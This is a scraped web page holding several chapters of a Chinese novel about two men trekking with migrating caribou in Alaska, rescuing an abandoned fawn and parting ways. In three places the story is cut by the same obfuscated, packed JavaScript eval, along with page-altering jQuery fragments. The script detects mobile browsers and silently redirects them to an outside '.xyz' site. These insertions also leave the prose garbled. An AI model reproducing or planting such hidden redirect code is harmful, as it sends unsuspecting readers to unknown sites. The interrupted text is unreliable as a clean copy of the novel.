因为想早点回去,顾灯这次没有赖床,醒来后第一时间就穿好衣服,又在行李旁找到炉头点火。他打算烧水洗个脸,如果可以,他还想洗个头再回去。 顾灯爬到门口,出帐篷前却有些犹豫,又回头看了章离一眼,担心记忆不牢靠,又用手机拍了张照片,这才拉开帐篷出去。 一夜暴雪,他们帐篷被埋了一半,顾灯好不容易才挖出一个足以通行的距离,他揉了揉发酸的后腰,站直了身体,然后整个人都愣在了原地。 雪过天晴,他置身于一片望不到尽头的新雪里。太阳还没有升起,但已经把半边天空染成粉红色,剩下另一半是粉蓝,粉蓝和粉红交界的地方,是一片浪漫得不可思议的粉紫色。 布鲁克斯山脉就笼罩在这片粉紫中,褪去昨夜的凶险,显得浪漫而宁静。 帐篷旁边的灌木从里,避风的北美驯鹿逐渐苏醒,它们在粉色的天空下抖落积雪,遵循一股神秘强烈的指引,再次向北行进,走得轻巧,优雅,又安静。 世世代代,年复一年,北美驯鹿都在经历这样的暴雪和日出前的宁静。 何德何能,他居然能站在这里,欣赏到如此震撼的风景。 强烈的冲击让顾灯鼻头发酸,几乎就要落下泪来。可最终他止住了情绪,只是安静站在原地,目送驯鹿远去。 17.消化情绪 顾灯正想回头叫章离,就听见身后传来一阵嗡嗡声,原来章离已经起床,正在飞无人机。 但他似乎还没有完全醒来,懒洋洋地看着遥控器显示屏,头发胡乱翘起,抬头看无人机时打了个哈欠,露出了平日里罕见的稚气表情。 没想到章离也会睡不着,他还以为这人永远精神饱满,时刻无敌。 章离旁边三脚架立着一台长焦相机,正在记录驯鹿迁徙的细节,打开的相机包里还一台哈苏胶片机。这么多东西,怪不得章离要疯狂健身增肌。 前几天天气太差,他们都忙着赶路了。这还是顾灯第一次见章离拍摄,比他想象中要普通一些。 顾灯想起之前拍时尚照时的庞大团队,随便一凑就是几十号人,摄影师排场也极大,光助理就有好几个,打光的、吹风的、扛设备的,摄影师掌控着一切,像个发号施令的将军。 但章离拍摄时很安静,他只有一个人,设备也有限,就这样安安静静地融入荒野,记录着动物的身影。 无人机还在高空,但地面,驯鹿已经走出相机的取景范围。 顾灯过去问:“要帮忙吗?” 章离有些意外地抬起头:“你会吗?” 顾灯说:“不专业,但跟焦还是可以的。” 章离:“那你帮我看视频,我去前面拍点儿照片。” 顾灯点头说好,章离操控无人机返回停机坪,拿着胶片机朝驯鹿走去。 顾灯没挪三脚架,只简单的转动镜头,寻找有用的画面信息。他不玩摄影,甚至不怎么会用相机。但被拍过这么多次,镜头感早练出来了,也比较清楚什么样的画面更吸引人。 特写镜头拍了不少,顾灯又拍了些全景,远山、雪地、驯鹿群出现在取景框,也包括正在拍摄的章离。 章离离驯鹿很近了,他的胶片机是定焦头,要拍特写只能人肉变焦。 幸运的是这里的驯鹿不怕人,哪怕章离已经走到了跟前也只是抬头看了眼,又继续沿着原有线路前进。 但章离也没有和驯鹿接触,只是站在旁边,低头操作手里的胶片机。 顾灯发现,章离拍摄的节奏相当缓慢。 在顾灯之前接触的摄影里,不管是拍MV还是时尚照,场面都很混乱,节奏也很快,风风火火像打仗。 但章离有一种沉进去的感觉,他几乎不说话,如果不是手里拿着相机,他看上去和生活在这里的动物几乎毫无区别。 不过也不是完全没有意外发生,有一只驯鹿被快门声吸引,脱离大部队走向章离。章离没动,他们野生动物摄影师都有自己的准则,不会贸然干预动物的行为。 但他不惹动物,动物却要惹他。那头离队的驯鹿直接走到他跟前,抬起嘴筒子就他镜头里钻。章离被逼得连连后退,一屁股坐在了雪地里。 驯鹿还不愿走,又要低头啃相机。这可是他花大价钱买来的中画幅胶片机,章离立刻转过身,把相机藏进怀里。没想到驯鹿又低头啃他头发,还嚼了两口,没尝出啥味儿,一脸嫌弃地离开了。 顾灯围观全程,看到最后简直笑得直不起腰。等章离回来他把视频给人看,又笑了一遍。 “你们野生动物摄影师,拍摄都这么惊险刺激吗?” “还行,”章离抓了把被口水打湿的头发,表情淡定,“动物都知道,不能吃摄影师。” 顾灯笑得眼泪都要出来了。 一大早除了搞笑就没干别的了,蓝调时刻转瞬即逝,一眨眼太阳就升了起来,把雪地变成一片明晃晃的白,章离收起了摄影装备。 顾灯烧化雪水灌满两个保温杯,又烧了一锅开水泡麦片。另一边,章离拔营收拾行李。没有特别规定,他们自然而然地形成了这样的分工安排。 太阳有点儿大,顾灯又不想戴眼镜,就背对着太阳吃东西。抬头时,他看见章离一股头发高高翘起,那是被驯鹿口水打湿的地方结了冰。 顾灯笑着指了指章离头顶,章离露出茫然的表情。 顾灯又说:“你头发,立起来了。” 章离伸手压了下,一点儿用没有。 顾灯懒得指挥,直接抬手帮他按了下去。担心头发又翘起来,他还又拍了两下。 章离全程低着头,直到顾灯收回手,才低声说了谢谢。 “小事,”顾灯摆摆手,又有些好奇,“你当初怎么想到要当野生动物摄影师的?” 章离说:“喜欢动物。” 顾灯愣了下,没想到原因竟然这么简单直接。喜欢动物,所以就当了野生动物摄影师。明明是很顺畅的逻辑,可他为什么会这么震惊? 顾灯猜测,章离一定有一个良好的家庭背景,不说出身豪门,但至少不用操心经济来源,不然实在很难从事这种花费巨大的小众职业。 或许是顾灯沉默得有些久,章离又补充:“最开始我只是四处旅行,后来发现比起美景,我更感兴趣生活在这里的动物,就逐渐把这当成了事业。” 顾灯有些羡慕章离,他已经忘记自己做音乐的初衷了。喜欢吗?应该也喜欢吧,可随之而来的痛苦也很真实。当他把音乐和痛苦一起抛下,却又开始迷茫起来,他不知道自己还能做什么事情。 顾灯问章离:“如果你不做摄影师,以后打算做什么?” 他其实没抱太大希望,因为他能看出来,章离是真的喜欢摄影,觉得章离也会给出类似周必那样“没想过”的回答。 “做厨师。”章离却回答得很干脆。 顾灯愣了愣:“做厨师?” 章离点头,说:“如果以后不拍摄,我想开一家小餐馆,做个普普通通的厨师。” 如果可以,他还想做饭给自己喜欢的人吃。 顾灯脑海中浮现出章离做厨师的样子,系黑色围裙,握着锅柄的胳膊强壮有力,他长得又帅,估计还是个网红餐厅。 “挺好的,”顾灯笑了下,“以后我来照顾你的生意。” 章离点头,说欢迎光临。 他们聊了很久,聊到早餐的麦片都凉了,顾灯硬着头皮吃下,把外包装塞进了垃圾袋里。 太阳越升越高,章离开始收拾桌椅。顾灯却变得沉默,一副心事重重的样子。 直到章离拿出卫星电话,顾灯抬起头,一把抓住了他手臂。 章离抬眸。 顾灯欲言又止,问章离有没有联系小飞机。 “没有,”章离说,“昨天暴雪没信号。” 顾灯抿了抿唇,又说:“可以先不联系吗?” 章离没说话,但目光却死死盯着顾灯眼睛。 顾灯被看得有点儿不好意思,小声道:“我又改主意了,我还想继续走下去。当然,要是你不想我跟着,我回去也可以。” “没有,”章离立刻说,“我没有不想你跟着。” 顾灯眼睛亮了起来:“那就这么说定了?” 章离却沉默下来,眉头微皱,仿佛在挣扎什么。 顾灯:“还有什么问题吗?” 章离问:“你为什么想要继续?” “昨天放弃主要是太累了,”顾灯实话实说,“但休息一晚我觉得自己又可以了,而且我看到了日出,我很开心,想多看看这样的风景。” 章离沉默了许久,最终点头道:“行,我们继续。” 顾灯松了口气,踩上滑雪板继续前进。 他们正处于山地和平原的交接地区,坡度长而缓,再加上刚降过一场大雪,非常适合滑雪板滑行。 这一天他们几乎都在滑雪,速度比驯鹿还要快一些。傍晚时,他们在一处平地上扎营,远处能看见鹿群缓缓经过。 和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515828|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非洲角马迁徙时的磅礴狂野不同,驯鹿移动时有序而安静。 它们由年长的雌性驯鹿率领,排成单列缓慢前进,在雪地上留下细线一样的痕迹。 黄昏把驯鹿群勾勒出一道剪影,顾灯看得入迷。突然间,原本有序的驯鹿群发生骚乱,在雪地上四散开来。 顾灯想过去看看怎么回事,章离却突然抓住他手腕,变了脸色:“别去。” “怎么了?”顾灯有些着急。 “是熊。”章离说。 顾灯愣住了,他抬头看向骚乱中心,果不其然发现了一道黑色身影。 “那怎么办啊?”顾灯更着急了。 章离沉默了一会儿,说:“我们去那边扎营。” 他们尽可能远离骚乱中心,又把食物用防熊袋密封,挂到了很远的位置。 顾灯心不在焉地吃完晚餐,夜幕降临,棕熊引发的骚乱逐渐平息。随后顾灯央求章离,能不能用无人机看看那边的情况。 章离说好,无人机朝着棕熊的方向飞去。 驯鹿已经恢复平静,在雌性驯鹿的带领下逐渐恢复秩序。骚乱下场只留下一堆凌乱的蹄印,越往中间走,蹄印就越加密集。 然后顾灯看见了血迹。 画面中央,一只饥饿的棕熊正在大快朵颐。 顾灯闭上眼,不敢再看下去。 一整晚顾灯都浑浑噩噩,一闭眼,脑海中就会出现驯鹿遇害的场景。 大片鲜血染红雪地,肢体破碎,内脏流淌,甚至还在冒热气……这给顾灯带来了极大的冲击,他不会做饭,连超市里屠宰好的肉都没有处理过,更别提看见大型哺乳动物的尸体。 顾灯又想起章离之前说的,有三分之一的驯鹿会死在迁徙途中。 他作为食物链顶端的人类,高高在上地羡慕驯鹿自由,却不曾想过它们要经历怎样的生存危机。 在他欣赏日落的时候,那些驯鹿是否也能享受到这样的美景?它们温驯的眼神究竟是安详还是恐惧?是否驯鹿也时刻活在惶恐中,不知自己的未来在哪里? 顾灯大脑一片混乱,但最终还是敌不过疲倦,沉沉睡了过去。好不容易睡着了,他又梦见自己变成驯鹿,被棕熊袭击。 顾灯被噩梦吓醒,盯着黑漆漆的帐篷顶,直到天亮,都没能再睡着。 他总是睡不着,这次也比闹钟先醒。顾灯钻出睡袋,隔壁的章离也睁开了眼睛。顾灯停下动作,面露歉意:“抱歉,是不是我吵醒你了?” 章离摇头,说他是自然醒的。 顾灯没再说话,他穿好外衣,把狭窄的帐内空间留给了章离。 还是顾灯烧水做饭,章离拔营。其实顾灯都知道,收帐篷比做饭要麻烦太多,以往他理所当然地享受着章离的照顾,他一度觉得自己是个新人,经验体力都不如章离,少做一些事情也没关系。 可他又想,凭什么呢?章离凭什么就要多做那么多事情? 顾灯在炉子外立好挡风板,过去和章离一起取地钉。一夜过去,雪地钉已经和冰块儿黏在一起,顾灯费了好大的力气才拔下一枚,当他拔第二枚时,章离已经取完剩下所有地钉。随后他们拍掉积雪,把湿润的外账搭在登山杖上晾晒。 吃饭时顾灯很沉默,章离话也不多,却突然提及自己第一次看见捕猎的回忆。 顾灯心不在焉地应了声,又听章离说:“我当场就吐了,回去后做了一晚上的噩梦。” 章离极少谈论自己的过去,现在突然提起,大概是在安慰自己。 “我就是有点儿不习惯,”顾灯戳着袋子里黏糊糊的麦片,试图打起精神,“我缓缓就好了,谢谢你跟我说这些。” 章离摇头,说了声客气。 其实他们都明白,就算有心帮助,但外人能做的也有限,只能顾灯自己慢慢消化情绪。 18.营救小鹿 一整天都是枯燥的赶路,最初的兴奋过去,徒步逐渐变成了一种折磨人的酷刑。 肩膀被背包勒出红痕,小腿在无数次起伏中变得僵硬,有些地方不能滑雪,他们就一会儿穿着滑雪板,一会儿改为步行。频繁穿脱给顾灯身体带来压力,让他心情和天气一样沉郁。 当登山鞋一遍遍踩入泥泞的雪地,顾灯开始怀念文明世界里的一切。他需要美味的食物,舒适的居住环境,便利的交通,三五好友,甚至是网上那些他曾经嗤之以鼻的垃圾信息。 这些他曾经迫不及待想要摆脱的东西,却也是它们赋予了他自由和便利。 途中章离数次提出休息,顾灯不愿意拖人后腿,全都摇头拒绝。 直到他们出发十小时后,章离宣布扎营休息。顾灯再也坚持不住,一屁股坐在了湿润的雪地里。他看着周围荒凉的雪地,突然有些不知道自己究竟在做什么事情。 他为什么会出现在这里?又为什么要做这种毫无意义的事情?这场徒步的必要性在哪里? 隔壁,章离开始往雪里打地钉,顾灯想要过去帮忙,起身时却双脚一软,竟然一下跪在了雪地里。 章离丢下东西过来扶起他,问他怎么回事。 顾灯感觉有些丢脸,把脸转到一边说:“没事,我就是有点累了。” 章离先装好椅子,让他坐着休息。 顾灯坐不住,又想帮忙做饭。 “听话,别动。”章离丢来一个眼神,轻微的压迫感,让顾灯愣在了那里。 章离其实不怎么用这种语气和顾灯说话,他虽然长得凶,但本身性格温和体贴,很少露出强势的一面。 顾灯习惯了章离的和颜悦色,此时突然被凶,竟然觉得有些委屈。他瞪了章离一眼,有些不平:“你凶什么凶?” 章离愣了下,才意识到自己的表情,立刻换了副语气:“抱歉,我没有要凶你的意思。” “哦。”顾灯干巴巴地应了声,又觉得自己有些扫兴。 他当然知道章离是担心他,凶他也是怕他出事。与其说不高兴章离凶他,顾灯更多是厌恶没用的自己。说是陪章离一起,但其实装备是章离买的,路线是章离规划,这一路干活儿的全是章离,他什么忙也帮不上,不过是个累赘而已。 章离已经搭好帐篷,又烧起了一锅热水。顾灯坐在椅子上看他忙活这一切,有些烦心,但也说不出究竟是什么原因。 晚餐的气氛有些低沉,吃完晚饭天还是亮的,春分过后白昼越来越长,再过不久,整个北极圈里就会完全进入极昼。 漫长的白昼改变了顾灯的昼夜节律,他身体明明疲倦不已,精神却得不到松懈,就像是被季节控制的动物,还在本能地渴望迁徙。 不过他毕竟是人,白天睡觉也没什么关系。顾灯盯着天空看了一会儿,低头脱掉硬脚上邦邦的登山鞋,过程中不小心蹭到脚上的水泡,疼得皱眉直抽气。 章离把食物用密封袋装好放到远处,回来就看到顾灯这幅表情。 顾灯脚后跟上长了个大水泡,被磨破又结痂,又重新被磨破,因为每天都在走路,一直得不到痊愈。半干的伤口渗出组织液,把袜子和伤口紧紧黏在了一起。 “这么严重了,怎么不早说?”章离半跪在地上帮顾灯脱袜子,他目光担忧,没有斥责的语气。 顾灯抿了抿唇,摇头说:“没事,我都没什么感觉了。” 刚开始确实很疼,但习惯了也就没往心里去了。 章离又想起第一次见顾灯时的样子,他突兀地出现在大雪中,哪怕穿着冲锋衣,都时髦好看得不行。他又想起顾灯在台上魅力四射的样子,这样的人,本该享受一切财富和荣誉,而不是被他圈起来,困在荒地。 章离垂下眼眸,帮顾灯一点点撕下袜子,又用医药包包扎脚后跟。 弄完左脚,章离又问他右脚有没有受伤,顾灯摇头说没有,章离就给他套上羽绒脚套,又烧了一大锅水。 饭都吃完了,顾灯不明白章离重新开火是要做什么,直到他看见章离腾出一个桶形防水袋,先在里面倒入融化的水,又把那一锅热水倒进去,然后拎着袋子朝他走了过来。 章离蹲在他面前,说:“条件有些简陋,你将就用。” 顾灯还是没反应过来,章离又说:“泡完脚再睡。” 顾灯睁大眼睛,才明白章离是烧水给他泡脚。防水袋并不能完全防水,也无法自立,于是章离不得不一直用手抓着袋子。 现在拒绝就是浪费章离的一番好意,顾灯没有犹豫太久,就把双脚伸了进去。 水蒸气模糊了顾灯的眼睛,他双手抓着裤腿,低头使劲儿地眨着眼睛。过了一会儿,他对章离说了句谢谢,又说了句对不起。 章离跪在他面前,垂着眼睫:“不用道歉,是我没照顾好你。” 顾灯正要反驳,章离又说:“我比你有经验,应该提前想到这些事情。” 顾灯不知道该说什么了,只是实在不好意思。他看着章离头顶泡完了脚,直到暖意逐渐爬上身体。 睡前,顾灯躲着章离吃了药,祈祷明天是个好天气。 可惜事与愿违,次日,灰蒙蒙的云层压着雪地,一片萧瑟之景。 顾灯穿好鞋子,去远处取回装食物的防熊密封袋。袋子好好地挂在高处,这么多天过去,从来没有熊光顾过这里。顾灯甚至开始怀疑,这种所谓的防熊措施究竟有没有意义。直到他远远看见一抹深褐色身影…… 章离在顾灯起床时就醒了,他睡觉浅眠且警惕,每天都能察觉顾灯的提前醒。他觉得顾灯应该不想被问原因,于是一直在装作不知情。 直到今天,他刚钻出睡袋,远处传来一阵匆忙的脚步声。 “章离!”顾灯声音前所未有的着急。 他记得顾灯是去取食物了,难道他…… 章离连衣服都没来得及穿就钻出帐篷,却见顾灯上气不接下气地站在门前,怀里抱着一只气息奄奄的小鹿。 “怎么办?”顾灯仰头看他,神情焦急。 章离伸手去测小鹿的体温,又问:“哪儿来的?” “取食物路上捡到的,”顾灯说,“我看它还有气,但怎么一直没有反应?” “失温了,估计撑不过今天。”章离说完,转身回帐篷穿衣服。 “那怎么办?”顾灯有些着急。 “什么怎么办?”章离回头,有些莫名。 顾灯愣了下,章离的表情太冷酷,也太理所应当。他有些茫然地眨了眨眼睛:“你不打算救它吗?” “为什么要救?”章离说,“这种被母亲抛弃的小鹿,就算被救活了也不可能活下去。” “被母亲抛弃?”顾灯有些茫然,“不是因为熊捕猎了它母亲吗?” 章离:“你是说昨天那只鹿?” 顾灯用身体护住小鹿,小心翼翼地点头。 “哪儿那么多巧合,”章离摇头,“事发地距离这里已经有几十公里,小鹿不可能走这么远的距离。它会出现在这里,应该是早产后跟不上大部队,被母亲遗弃。” 这个事实太残酷,顾灯张了张嘴,却不知道该露出什么表情。 章离看出他的不舍,说:“你如果不忍心,等它死后,可以挖个坑埋了。” 顾灯难以置信:“它还没死!” 章离:“早晚的事。” 顾灯:“我要救它。” 章离看向顾灯,足足过了四五秒才说:“顾灯,这是自然规律,只要你还在野外,以后还会无数次遇见这样的事情。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518633|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我当然知道,可我都看见了,”顾灯颤抖起来,“我有什么办法?我都看见它了,你让我就这样放它去死吗?” 章离没有说话,顾灯也不期望他能帮忙了,抱着小鹿钻进帐篷,打算用睡袋保存体温。 “不能用睡袋。”章离制止了他的行为。 顾灯以为章离是嫌弃,皱眉道:“我用我的,不会弄脏你。” “我不是这个意思,”章离说,“别让鹿沾上你的私人物品,棕熊可能会因此攻击你。” 顾灯愣在原地,但他很快又开始质疑章离这番话的专业性。 “把鹿给我。”章离站在门口说。 顾灯没动,警惕地看着章离。 章离:“我帮你。” 顾灯这才把小鹿递了过去。 章离抱着小鹿走到一个背风处,说:“给我急救毯。” 顾灯连忙打开急救毯递过去。 章离单手抱着鹿,另一只手把急救毯铺在雪地上,又说:“把我的抓绒衣拿出来。” 顾灯这次使了个心眼儿,递上的是他自己的抓绒衣。章离看了他一眼,没有拒绝,让顾灯把衣服铺在急救毯上。 顾灯一一照做,章离把小鹿放上去,用抓绒衣裹紧,又隔着衣服放了个温水袋在附近。 顾灯看了章离一眼,试探道:“这样就好了?” 章离点点头:“接下来就只能靠它自己了。” 吃早饭的过程中,顾灯一直在关注小鹿的动静,发现它身体逐渐停止抽搐,呼吸也明显了许多,和刚被发现时的奄奄一息形成了鲜明的对比。 顾灯松了口气,又愧疚自己刚才对章离的态度,只得连说了好几遍谢谢。 章离问:“你想救它吗?” “当然。”顾灯毫不犹豫。 “可你有没有想过,就算你现在救活了小鹿,没有母乳喂养,它甚至连一天都活不下去。” 顾灯支支吾吾:“总会有办法的。” 章离:“你有什么办法?” 顾灯:“大不了我把它带在身边,我养它!” “然后呢?”章离说,“你一时兴起养它十几天,等你离开阿拉斯加,又把它放回野外?这不过是推迟了它的死期。” 顾灯哑口无言,这么小的驯鹿,一旦被人类驯养,不可能再适应野外的环境。可难道就只能眼睁睁地看着驯鹿死掉吗?他还记得小鹿躺在他怀里时,用鼻子软软地蹭他掌心。 可现在,他只能眼睁睁地看着它死在雪地里,沦为棕熊、野狼、或者什么猛禽的食物。顾灯抱着膝盖,感觉有些伤心。 章离嘴上说着不管,但还是冲了些奶粉,又往里加了些电解质粉,用容器装着喂小鹿。小鹿奄奄一息,却支起脑袋,把奶粉全都吃了进去。 看见这一幕,顾灯又多少有了一些信心。随章离说可以联系野生动物保护中心,让他们把鹿接过去。 没想到他竟改了主意,顾灯又问:“不会耽误你时间吗?” 章离摇头,拨通救援电话说明了情况。一回头,就发现顾灯一动不动地盯着他。 章离放下电话:“还有事?” 顾灯摇头,又冲他笑了下,说:“救援多久能过来啊?” “说要四个小时。” 四个小时有点儿久,但一想到小鹿可以得救,又觉得这点儿时间不算什么了。顾灯看向小鹿,有些开心。 “顾灯。”章离突然喊他名字。 “怎么啦?”顾灯抬头,一副期待的表情。 章离说:“你和救援一起走吧。” 顾灯愣了愣,有些没反应过来:“走什么?” “你没发现吗?”章离注视着他憔悴的眼,“你现在的状态,已经不适合再继续走下去。” 19.暂时分别 顾灯张嘴想要反驳什么,可话涌到嘴边,却一句也说不出来。 疲倦的身体和恍惚的精神,无一不在提示他已经到了极限。章离说得对,他确实不适合继续下去了。在此之前,他也数次生出想要放弃的念头。可真到了紧要关头,顾灯却发现很难做出这个决定。 坚持很痛苦,可放弃也不容易。这一路有痛苦也有收获,虽然痛苦的时候真的很难受,可当他看见粉红色的日出,救助了一只瑟瑟发抖的小鹿,又觉得这一切都是值得的。 顾灯抬头看向章离,想问是不是自己给他添麻烦了,所以章离才想让他离开。可他又想起这一路章离对自己的照顾,现在还要故意问他这种话,实在是太没良心,这是把自己放弃的理由推给了章离。 而且,他身体确实已经坚持不下去了。 长线徒步中,风景确实可以短暂地治愈一切,就像是肾上腺素一样刺激他前进。可更多时间里,顾灯感受到的是疲倦和痛苦。 是该放弃了,更何况,他当初本来也没有打算走完全程。 顾灯点点头,接受了这个提议,又问章离:“我走了,那你怎么办?” 这个问题其实有些不恰当,他离开或者留下对章离来说都没多大关系。 可章离听完后却沉默了下来,过了好一会儿才说:“我自己走。” 这条路,本来就只有他自己而已。 顾灯“哦”了一声,又有些失落:“我其实还挺喜欢这一路的经历,可惜没有体力再走下去了。” “顾灯。”章离突然喊他名字。 “怎么了?”顾灯抬头,有些期待的表情。 “我……”章离却说了个字就停了下来,坚毅的眼中多了一些复杂的情绪。 “怎么啦?”顾灯又问。 章离合上眼睛,关闭所有情绪。等他再次睁眼,已经恢复了往日的平静:“抱歉,没事,就想叫叫你。” 顾灯“哦”了声,坐在雪地里等待救援飞机,没有网络、书籍、运动消磨时间,短短几个小时被无限拉长,缓慢得几乎永远也不会过去。 顾灯又问章离,下个目的地是否已经确定。章离说没有,又说他已经想不到要去哪里。 说这话时,章离脸上露出了一种类似寂寞的神情。但这种感觉转瞬即逝,快得顾灯几乎没能看清,又恢复了往日的平静。 天依旧灰蒙蒙的,布鲁克斯山脉在远方露出模糊的身影,有驯鹿排成一列横穿雪地。 顾灯看着缓慢移动的驯鹿,对章离说:“我还会再来的。” 章离点头:“好,我等你。” 没人再说话,周围再次恢复安静。没过多久,顾灯听见了一阵窸窣声,回头一看,竟是小鹿顶着抓绒衣爬了起来! 它自己挺过来了! 顾灯开心地陪小鹿玩了一会儿,可惜一直没有等到母鹿返程。 直到远方传来螺旋桨的嗡嗡声,顾灯突然喊:“章离。” 章离抬起头,顾灯直勾勾地看着他,眼里涌出许多情绪。 章离心头一软,放缓了声音:“怎么了?” “我……”顾灯喉结滚动,足足过了十几秒终于说,“离开前,我想抱一下你,可以吗?” 他脸上流露出脆弱、敏感、不舍,也有孤注一掷的决心和勇气。 “当然可以。”章起身,将顾灯抱进了怀里。 这是一个几乎完美符合顾灯想象的拥抱,温暖、厚实、安全,有力的双臂带来恰到好处的压力,但又不会让人喘不过气,就像是小时候被妈妈抱在怀里的感觉。在这个怀抱中,可以卸下一切担忧和防备。 顾灯又有点儿想哭了,可能是因为这几天的战友情谊,又或者是一些别的原因。但他努力忍了下来,因为不想在离别时哭哭啼啼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525757|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可章离却伸手摸了摸他脑袋,仿佛察觉出了他的不安,给出抚慰。章离什么都不知道,但还是选择包容他的情绪。顾灯鼻头一酸,最终还是湿了眼眶。 他哭得很克制,小心翼翼地控制着身体的颤抖,甚至没有发出任何声音。但他觉得章离发现了,因为顾灯感到章离双臂逐渐收紧。顾灯闭上眼睛,眼泪掉得更凶了。 整个过程中,他们都没有任何语言交流,但肢体带来一种不同于语言的真实感,这让顾灯有一种自己被理解的感觉。 当救援飞机在头顶盘旋时,章离拍了拍他后背,微微松开了距离。 顾灯还有些不舍,额头抵着章离肩膀缓了好一会儿。他伸手抹了下眼睛,后知后觉地感到了狼狈。 “十天后再见。”章离神色自如,替他拿起行李。 “到时候再见,”顾灯点点头,又说,“你要什么告诉我,到时候我们一起带过来给你。” “行,”章离说,“晚点儿电话联系。” 顾灯这才想起来,他们还可以通过卫星电话联系,因为离别而闷闷不乐的心情终于好受了一些。 “那我走啦。”他挥手向章离道别。 “再见。”章离伸手揉了下顾灯后脑勺,因为他发现,顾灯似乎很喜欢被他摸这里。 果不其然,顾灯立刻眯起了眼睛,露出很舒服的表情。但他很快就反应过来,随即身体一僵,有些不好意思地拉开了距离。 章离收回手,语气平静地解释:“你头发翘起来了。” “噢噢!原来是这样,谢谢你!”顾灯胡乱地抓了把头发,转身背对着章离。 直升机降落在空旷的雪地,工作人员带着驯鹿上了飞机,顾灯坐进后排,隔着玻璃和章离挥手道别。 飞机越飞越高,最后在空中变成一个小点。 章离背上行李,独自朝北走去。 20.哭泣表情 把小鹿送到救助站后,顾灯转乘飞机回到安克雷奇。史密斯开车来接他,热情地和他打听旅途中发生的事情。顾灯捡了些有趣的说,不一会儿就靠着车窗睡了过去。 每天都徒步时还没什么感觉,一旦松懈下来,积攒的疲倦就全部涌了上来。顾灯回去时还是下午,本来只打算小憩,没想到一口气睡了五个小时。晚上醒来吃过晚饭,竟又睡了过去。 再次醒来已经是第二天下午,顾灯被一通电话吵醒,史密斯请他帮忙去接阿里放学。 史密斯和朱迪是双职工家庭,夫妻工作都忙,一个到处出差一个疯狂加班,带娃全凭感觉。顾灯在人家家里白吃白喝,数次提出交房费都被拒绝,自然不可能拒绝这种事情。 答应史密斯后,顾灯挂断电话下床,双脚刚一沾地,就直直跪了下去。 小腿太痛了,轻轻一碰就痛得要命。顾灯硬着头皮爬起来,又发现自己走路姿势变得非常诡异。 他就拖着这样一副半残的身体去接阿里,阿里绑着一头摇滚小麻花辫儿,在校门口来回张望,都没有认出顾灯。 顾灯冲她挥了挥手,阿里反而倒退两步,目光警惕。 顾灯这才想起来自己还戴着口罩帽子,他毕竟是个公众人物,出门在外还是有些包袱。平时这副扮相还称得上是高冷酷哥,可惜今天浑身都疼,顾灯神情萎靡蹲在小学校门口,像是什么不轨分子。 顾灯扯下口罩,又喊了声阿里。阿里表情一下就变了,瞬间化身阿拉斯加犬,哒哒哒跑过来扑向顾灯。 “哎哟喂你慢点……!”顾灯最终还是没接住,双腿一软倒了下去。 “叔叔!”阿里抓着顾灯衣领,发出惨叫声。 都要引起骚乱了! 顾灯丢不起这个脸,连忙爬起来让阿里小声些。 “你是不是哪儿受伤了?”阿里一副小大人的模样,动手检查起他身体。 “没有,”顾灯嘴硬,“我好着呢。” 阿里后退一步,表情有些一言难尽:“那你怎么连我都抱不起来?” 顾灯:“……” 接下来这几天里,顾灯的日常就吃了睡睡了吃,再负责接送阿里上下学,偶尔还要负责阿里的伙食。 阿里倒是不挑,超市里的预制菜买来微波炉一热,就能大口大口地吃下去。 这种预制菜主打一个量大便宜,制作简单加热就行。但糖油含量极高,顾灯吃一顿就腻得要命,最后只得去有机超市当冤大头买蔬菜,甚至还自学起了厨艺。 3天后,史密斯研究回来,此时本应该给章离进行第一次补给,但因为顾灯离开时把食物给了章离,所以他们还要推迟几天才会过去。 顾灯重新过上了舒适便利的城市生活,可奇怪的是,他又忍不住开始想念阿拉斯加的荒野。 连史密斯都看出了他的无聊,邀请他去看棕熊栖息地。这是他们的一项研究,但野外考察相对轻松,阿里也会去。 自从上次袭击驯鹿后,顾灯就对棕熊这种生物没什么好感。但待在家里实在无聊,顾灯还是决定和他们一起去。 研究地点在费尔班克斯郊外,史密斯和他研究所的同事们一起,一共开了三辆越野车过去。 他们这次的任务是评估新修建的一条公路,对棕熊栖息地的影响。越野车行驶在崭新的泊油路上,又从岔路驶向砺石路,最后停在一座山脉旁。 最后两公里需要步行抵达,一方面是保护地表植被,另一方面也避免引起棕熊应激。4月中旬,冬眠的棕熊逐渐苏醒,这时候的熊大多暴躁饥饿,有很高的攻击性。不过他们这次不会和熊面对面,只是通过定位项圈,辅助沿途的粪便和足迹,研究棕熊的迁徙路径。 顾灯穿上雪鞋,跟随大部队往前走去。他本来还担心阿里小短腿跟不上,没想到小孩儿穿着雪鞋,吭哧吭哧走得比他还快。 